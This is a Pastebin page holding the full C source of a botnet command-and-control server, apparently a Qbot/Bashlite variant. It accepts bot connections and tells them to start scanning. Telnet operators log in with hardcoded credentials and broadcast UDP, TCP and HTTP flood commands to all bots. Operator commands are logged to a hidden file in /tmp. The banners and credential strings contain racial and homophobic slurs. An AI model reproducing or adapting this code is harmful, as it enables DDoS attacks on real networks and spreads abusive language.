Advertisement
parody

server.c

Oct 24th, 2016
212
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 19.15 KB | None | 0 0
  1. // Modified by
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16.  
  17. #define MY_MGM_ADMINP "Admin"
  18. #define MY_MGM_ADMINU "Admin"
  19. #define MY_MGM_MATENP "Faggot"
  20. #define MY_MGM_MATENU "Faggot"
  21. #define MY_MGM_USERP "User"
  22. #define MY_MGM_USERU "User"
  23. #define MY_MGM_GUESTP "Dicks"
  24. #define MY_MGM_GUESTU "Dicks"
  25. #define MY_MGM_PORT 666
  26.  
  27. #define MAXFDS 1000000
  28. char MY_USER_ADMIN=0, MY_USER_USER=0, MY_USER_MATEN=0, MY_USER_GUEST=0;
  29. struct clientdata_t {
  30.         uint32_t ip;
  31.         char build[7];
  32.         char connected;
  33. } clients[MAXFDS];
  34. struct telnetdata_t {
  35.         int connected;
  36. } managements[MAXFDS];
  37. static volatile FILE *fileFD;
  38. static volatile int epollFD = 0;
  39. static volatile int listenFD = 0;
  40. static volatile int managesConnected = 0;
  41. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  42. {
  43.         int total = 0, got = 1;
  44.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  45.         return got;
  46. }
  47. void trim(char *str)
  48. {
  49.     int i;
  50.     int begin = 0;
  51.     int end = strlen(str) - 1;
  52.     while (isspace(str[begin])) begin++;
  53.     while ((end >= begin) && isspace(str[end])) end--;
  54.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  55.     str[i - begin] = '\0';
  56. }
  57.  
  58.  
  59. static int make_socket_non_blocking (int sfd)
  60. {
  61.         int flags, s;
  62.         flags = fcntl (sfd, F_GETFL, 0);
  63.         if (flags == -1)
  64.         {
  65.                 perror ("fcntl");
  66.                 return -1;
  67.         }
  68.         flags |= O_NONBLOCK;
  69.        
  70.         s = fcntl (sfd, F_SETFL, flags);
  71.         if (s == -1)
  72.         {
  73.                 perror ("fcntl");
  74.                 return -1;
  75.         }
  76.         return 0;
  77. }
  78.  
  79.  
  80. static int create_and_bind (char *port)
  81. {
  82.         struct addrinfo hints;
  83.         struct addrinfo *result, *rp;
  84.         int s, sfd;
  85.         memset (&hints, 0, sizeof (struct addrinfo));
  86.         hints.ai_family = AF_UNSPEC;    
  87.         hints.ai_socktype = SOCK_STREAM;
  88.         hints.ai_flags = AI_PASSIVE;    
  89.         s = getaddrinfo (NULL, port, &hints, &result);
  90.         if (s != 0)
  91.         {
  92.                 fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  93.                 return -1;
  94.         }
  95.         for (rp = result; rp != NULL; rp = rp->ai_next)
  96.         {
  97.                 sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  98.                 if (sfd == -1) continue;
  99.                 int yes = 1;
  100.                 if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  101.                 s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  102.                 if (s == 0)
  103.                 {
  104.                         break;
  105.                 }
  106.                 close (sfd);
  107.         }
  108.         if (rp == NULL)
  109.         {
  110.                 fprintf (stderr, "Could not bind\n");
  111.                 return -1;
  112.         }
  113.         freeaddrinfo (result);
  114.         return sfd;
  115. }
  116.  
  117. void broadcast(char *msg, int us, char *username)
  118. {
  119.         int sendMGM = 1;
  120.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  121.         char *wot = malloc(strlen(msg) + 10);
  122.         memset(wot, 0, strlen(msg) + 10);
  123.         strcpy(wot, msg);
  124.         trim(wot);
  125.         time_t rawtime;
  126.         struct tm * timeinfo;
  127.         time(&rawtime);
  128.         timeinfo = localtime(&rawtime);
  129.         char *timestamp = asctime(timeinfo);
  130.         trim(timestamp);
  131.         int i;
  132.         for(i = 0; i < MAXFDS; i++)
  133.         {
  134.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  135.                 if(sendMGM && managements[i].connected)
  136.  
  137.                 {
  138.  
  139. send(i, "\x1b[94m", 6, MSG_NOSIGNAL);
  140.  
  141.                         send(i, username, strlen(username), MSG_NOSIGNAL);
  142.  
  143. send(i, ":\x1b[91m ", 8, MSG_NOSIGNAL);
  144.  
  145.                 }
  146.                 printf("sent to fd: %d\n", i);
  147.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  148.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[94m> \x1b[91m", 15, MSG_NOSIGNAL);
  149.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  150.         }
  151.         free(wot);
  152. }
  153.  
  154. void *epollEventLoop(void *useless)
  155. {
  156.         struct epoll_event event;
  157.         struct epoll_event *events;
  158.         int s;
  159.         events = calloc (MAXFDS, sizeof event);
  160.         while (1)
  161.         {
  162.                 int n, i;
  163.                 n = epoll_wait (epollFD, events, MAXFDS, -1);
  164.                 for (i = 0; i < n; i++)
  165.                 {
  166.                         if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  167.                         {
  168.                                 clients[events[i].data.fd].connected = 0;
  169.                                 close(events[i].data.fd);
  170.                                 continue;
  171.                         }
  172.                         else if (listenFD == events[i].data.fd)
  173.                         {
  174.                                 while (1)
  175.                                 {
  176.                                         struct sockaddr in_addr;
  177.                                         socklen_t in_len;
  178.                                         int infd, ipIndex;
  179.  
  180.                                         in_len = sizeof in_addr;
  181.                                         infd = accept (listenFD, &in_addr, &in_len);
  182.                                         if (infd == -1)
  183.                                         {
  184.                                                 if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  185.                                                 else
  186.                                                 {
  187.                                                         perror ("accept");
  188.                                                         break;
  189.                                                 }
  190.                                         }
  191.  
  192.                                         clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  193.  
  194.                                         int dup = 0;
  195.                                         for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  196.                                         {
  197.                                                 if(!clients[ipIndex].connected || ipIndex == infd) continue;
  198.  
  199.                                                 if(clients[ipIndex].ip == clients[infd].ip)
  200.                                                 {
  201.                                                         dup = 1;
  202.                                                         break;
  203.                                                 }
  204.                                         }
  205.  
  206.                                         if(dup)
  207.                                         {
  208.                                                 printf("dup client\n"); //
  209.                                                 if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  210.                                                 if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  211.                                                 close(infd);
  212.                                                 continue;
  213.                                         }
  214.  
  215.                                         s = make_socket_non_blocking (infd);
  216.                                         if (s == -1) { close(infd); break; }
  217.  
  218.                                         event.data.fd = infd;
  219.                                         event.events = EPOLLIN | EPOLLET;
  220.                                         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  221.                                         if (s == -1)
  222.                                         {
  223.                                                 perror ("epoll_ctl");
  224.                                                 close(infd);
  225.                                                 break;
  226.                                         }
  227.  
  228.                                         clients[infd].connected = 1;
  229.                                         send(infd, "!* SCANNER ONLINE NIGGA\n", 14, MSG_NOSIGNAL);
  230.                                 }
  231.                                 continue;
  232.                         }
  233.                         else
  234.                         {
  235.                                 int thefd = events[i].data.fd;
  236.                                 struct clientdata_t *client = &(clients[thefd]);
  237.                                 int done = 0;
  238.                                 client->connected = 1;
  239.                                 while (1)
  240.                                 {
  241.                                         ssize_t count;
  242.                                         char buf[2048];
  243.                                         memset(buf, 0, sizeof buf);
  244.  
  245.                                         while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  246.                                         {
  247.                                                 if(strstr(buf, "\n") == NULL) { done = 1; break; }
  248.                                                 trim(buf);
  249.                                                 if(strcmp(buf, "PING") == 0)
  250.                                                 {
  251.                                                         if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  252.                                                         continue;
  253.                                                 }
  254.                                                 if(strcmp(buf, "PONG") == 0)
  255.                                                 {
  256.                                                         if(send(thefd, "PING\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  257.                                                         continue;
  258.                                                 }
  259.  
  260.                                                 printf("buf: \"%s\"\n", buf);
  261.                                         }
  262.  
  263.                                         if (count == -1)
  264.                                         {
  265.                                                 if (errno != EAGAIN)
  266.                                                 {
  267.                                                         done = 1;
  268.                                                 }
  269.                                                 break;
  270.                                         }
  271.                                         else if (count == 0)
  272.                                         {
  273.                                                 done = 1;
  274.                                                 break;
  275.                                         }
  276.                                 }
  277.  
  278.                                 if (done)
  279.                                 {
  280.                                         client->connected = 0;
  281.                                         close(thefd);
  282.                                 }
  283.                         }
  284.                 }
  285.         }
  286. }
  287.  
  288. unsigned int clientsConnected()
  289. {
  290.         int i = 0, total = 0;
  291.         for(i = 0; i < MAXFDS; i++)
  292.         {
  293.                 if(!clients[i].connected) continue;
  294.                 total++;
  295.         }
  296.  
  297.         return total;
  298. }
  299.  
  300. void *titleWriter(void *sock)
  301. {
  302.        
  303.         int thefd = (int)sock;
  304.         char string[2048];
  305.         while(1)
  306.         {
  307.                 memset(string, 0, 2048);
  308.                 sprintf(string, "%c]0;Boats connected: %d | Niggas connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  309.                
  310.                 if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  311.  
  312.                 sleep(2);
  313.         }
  314. }
  315.  
  316.  
  317. void *telnetWorker(void *sock)
  318. {
  319.         int thefd = (int)sock;
  320.         managesConnected++;
  321.         pthread_t title;
  322.         char buf[2048];
  323. char* nickstring;
  324.         memset(buf, 0, sizeof buf);
  325.         char username[80];
  326.         char status=0;
  327.        
  328.         if(send(thefd, "\x1b[39mUsername:\x1b[30m ", 20, MSG_NOSIGNAL) == -1) goto end;
  329.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  330.         trim(buf);
  331. nickstring = ("%s", buf);
  332. if(strcmp(nickstring, MY_MGM_ADMINU) == 0){
  333. if(send(thefd, "\x1b[39mPassword:\x1b[30m ", 20, MSG_NOSIGNAL) == -1) goto end;
  334. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  335. trim(buf);
  336. if(strcmp(buf, MY_MGM_ADMINP) != 0) goto failed;
  337. memset(buf, 0, 2048);
  338. sprintf(username, MY_MGM_ADMINU);
  339. MY_USER_ADMIN=1;
  340. status=1;
  341. goto fak;
  342. }
  343. else if(strcmp(nickstring, MY_MGM_USERU) == 0){
  344. if(send(thefd, "\x1b[39mPassword:\x1b[30m ", 20, MSG_NOSIGNAL) == -1) goto end;
  345. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  346. trim(buf);
  347. if(strcmp(buf, MY_MGM_USERP) != 0) goto failed;
  348. memset(buf, 0, 2048);
  349. sprintf(username, MY_MGM_USERU);
  350. MY_USER_USER=1;
  351. status=2;
  352. goto fak;
  353. }
  354. else if(strcmp(nickstring, MY_MGM_MATENU) == 0){
  355. if(send(thefd, "\x1b[39mPassword:\x1b[30m ", 20, MSG_NOSIGNAL) == -1) goto end;
  356. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  357. trim(buf);
  358. if(strcmp(buf, MY_MGM_MATENP) != 0) goto failed;
  359. memset(buf, 0, 2048);
  360. sprintf(username, MY_MGM_MATENU);
  361. MY_USER_MATEN=1;
  362. status=3;
  363. goto fak;
  364. }
  365. else if(strcmp(nickstring, MY_MGM_GUESTU) == 0){
  366. if(send(thefd, "\x1b[39mPassword:\x1b[30m ", 20, MSG_NOSIGNAL) == -1) goto end;
  367. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  368. trim(buf);
  369. if(strcmp(buf, MY_MGM_GUESTP) != 0) goto failed;
  370. memset(buf, 0, 2048);
  371. sprintf(username, MY_MGM_GUESTU);
  372. MY_USER_GUEST=1;
  373. status=4;
  374. goto fak;
  375. }
  376. else if(strcmp(nickstring, MY_MGM_GUESTU) != 0 || strcmp(nickstring, MY_MGM_ADMINU) != 0 || strcmp(nickstring, MY_MGM_USERU) != 0 || strcmp(nickstring, MY_MGM_MATENU) != 0 ){
  377. if(send(thefd, "\x1b[39mAcces denied\r\n", 24, MSG_NOSIGNAL) == -1) goto end;
  378. goto end;
  379. }
  380. failed:
  381. if(send(thefd, "\x1b[39mAcces denied\r\n", 24, MSG_NOSIGNAL) == -1) goto end;
  382. goto end;
  383. fak:
  384.        
  385.         if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  386.         pthread_create(&title, NULL, &titleWriter, sock);
  387.         if(send(thefd, "\033[H\033[J\x1b[94m*****************************************\r\n", 56, MSG_NOSIGNAL) == -1) goto end;
  388.         if(send(thefd, "*         \x1b[92mWelcome to the Boatnet niggas\x1b[94m         *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  389.         if(send(thefd, "*          \x1b[92mRan by @LordSTX\x1b[94m          *\r\n", 55, MSG_NOSIGNAL) == -1) goto end;
  390.         if(send(thefd, "*****************************************\r\n\r\n\x1b[94m> \x1b[92m", 58, MSG_NOSIGNAL) == -1) goto end;
  391.        
  392.         managements[thefd].connected = 1;
  393.         while(fdgets(buf, sizeof buf, thefd) > 0)
  394.         {
  395.             trim(buf);
  396.                 if(strstr(buf, "!* LOLNOGTFO"))
  397.                 {  
  398.                     printf("ATTEMPT TO KILL ALL BOTS BY %s\n", username);
  399.                     FILE *logFile;
  400.                     logFile = fopen("/tmp/.log", "a");
  401.                     fprintf(logFile, "ATTEMPT TO KILL ALL BOTS BY %s\n", username);
  402.                     fclose(logFile);
  403.                     goto end;
  404.                 }
  405.                 if(strstr(buf, "!* SH"))
  406.                 {  
  407.                     printf("ATTEMPT TO SH BY %s\n", username);
  408.                     FILE *logFile;
  409.                     logFile = fopen("/tmp/.log", "a");
  410.                     fprintf(logFile, "ATTEMPT TO SH BY %s\n", username);
  411.                     fclose(logFile);
  412.                     goto end;
  413.                 }
  414.  
  415.                 if(strncmp(buf, "HELP", 5) == 0){
  416.                     if(send(thefd, "!* UDP IP PORT TIME NMASK PSIZE PI\r\n", 36, MSG_NOSIGNAL) == -1) goto end;
  417.                     if(send(thefd, "!* TCP IP PORT TIME NMASK FLAGS PSIZE PI\r\n", 42, MSG_NOSIGNAL) == -1) goto end;
  418.                     if(send(thefd, "!* HTTP SITE SECONDS\r\n", 22, MSG_NOSIGNAL) == -1) goto end;
  419.                     if(send(thefd, "!* KILLATTK\r\n", 13, MSG_NOSIGNAL) == -1) goto end;
  420.                     if(send(thefd, "!* SCANNER ON | OFF\r\n", 21, MSG_NOSIGNAL) == -1) goto end;
  421.                     if(send(thefd, "CLEAR\r\n", 7, MSG_NOSIGNAL) == -1) goto end;
  422.                     memset(buf, 0, 2048);
  423.                 }
  424.                 if(strncmp(buf, "CLEAR", 5) == 0){
  425.                     goto fak;
  426.                     memset(buf, 0, 2048);
  427.                 }
  428.  
  429.                 FILE *logFile;
  430.                 if(send(thefd, "\x1b[94m> \x1b[91m", 13, MSG_NOSIGNAL) == -1) goto end;
  431.                 if(strlen(buf) == 0) continue;
  432.                 logFile = fopen("/tmp/.log", "a");
  433.                 fprintf(logFile, "%s: %s\n", username, buf);
  434.                 fclose(logFile);
  435.                 broadcast(buf, thefd, username);
  436.                 memset(buf, 0, 2048);
  437.  
  438.             }
  439.  
  440.                 end:
  441.                 managements[thefd].connected = 0;
  442.                 close(thefd);
  443.                 managesConnected--;
  444.         }
  445.  
  446. void *telnetListener(void *useless)
  447. {
  448.         int sockfd, newsockfd;
  449.         socklen_t clilen;
  450.         struct sockaddr_in serv_addr, cli_addr;
  451.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  452.         if (sockfd < 0) perror("ERROR opening socket");
  453.         bzero((char *) &serv_addr, sizeof(serv_addr));
  454.         serv_addr.sin_family = AF_INET;
  455.         serv_addr.sin_addr.s_addr = INADDR_ANY;
  456.         serv_addr.sin_port = htons(MY_MGM_PORT);
  457.         if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  458.         listen(sockfd,5);
  459.         clilen = sizeof(cli_addr);
  460.         while(1)
  461.         {
  462.                 newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  463.                 if (newsockfd < 0) perror("ERROR on accept");
  464.                 pthread_t thread;
  465.                 pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  466.         }
  467. }
  468.  
  469. int main (int argc, char *argv[])
  470. {
  471.         signal(SIGPIPE, SIG_IGN);
  472.  
  473.         int s, threads;
  474.         struct epoll_event event;
  475.  
  476.         if (argc != 3)
  477.         {
  478.                 fprintf (stderr, "Usage: %s [port] [threads]\n", argv[0]);
  479.                 exit (EXIT_FAILURE);
  480.         }
  481.         threads = atoi(argv[2]);
  482.  
  483.         listenFD = create_and_bind (argv[1]);
  484.         if (listenFD == -1) abort ();
  485.  
  486.         s = make_socket_non_blocking (listenFD);
  487.         if (s == -1) abort ();
  488.  
  489.  
  490.         s = listen (listenFD, SOMAXCONN);
  491.         if (s == -1)
  492.         {
  493.                 perror ("listen");
  494.                 abort ();
  495.         }
  496.  
  497.         epollFD = epoll_create1 (0);
  498.         if (epollFD == -1)
  499.         {
  500.                 perror ("epoll_create");
  501.                 abort ();
  502.         }
  503.  
  504.         event.data.fd = listenFD;
  505.         event.events = EPOLLIN | EPOLLET;
  506.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  507.         if (s == -1)
  508.         {
  509.                 perror ("epoll_ctl");
  510.                 abort ();
  511.         }
  512.  
  513.         pthread_t thread[threads + 2];
  514.         while(threads--)
  515.         {
  516.                 pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  517.         }
  518.  
  519.         pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
  520.  
  521.         while(1)
  522.         {
  523.             broadcast("PING", -1, "b0ats");
  524.  
  525.             sleep(60);
  526.         }
  527.  
  528.         close (listenFD);
  529.  
  530.         return EXIT_SUCCESS;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement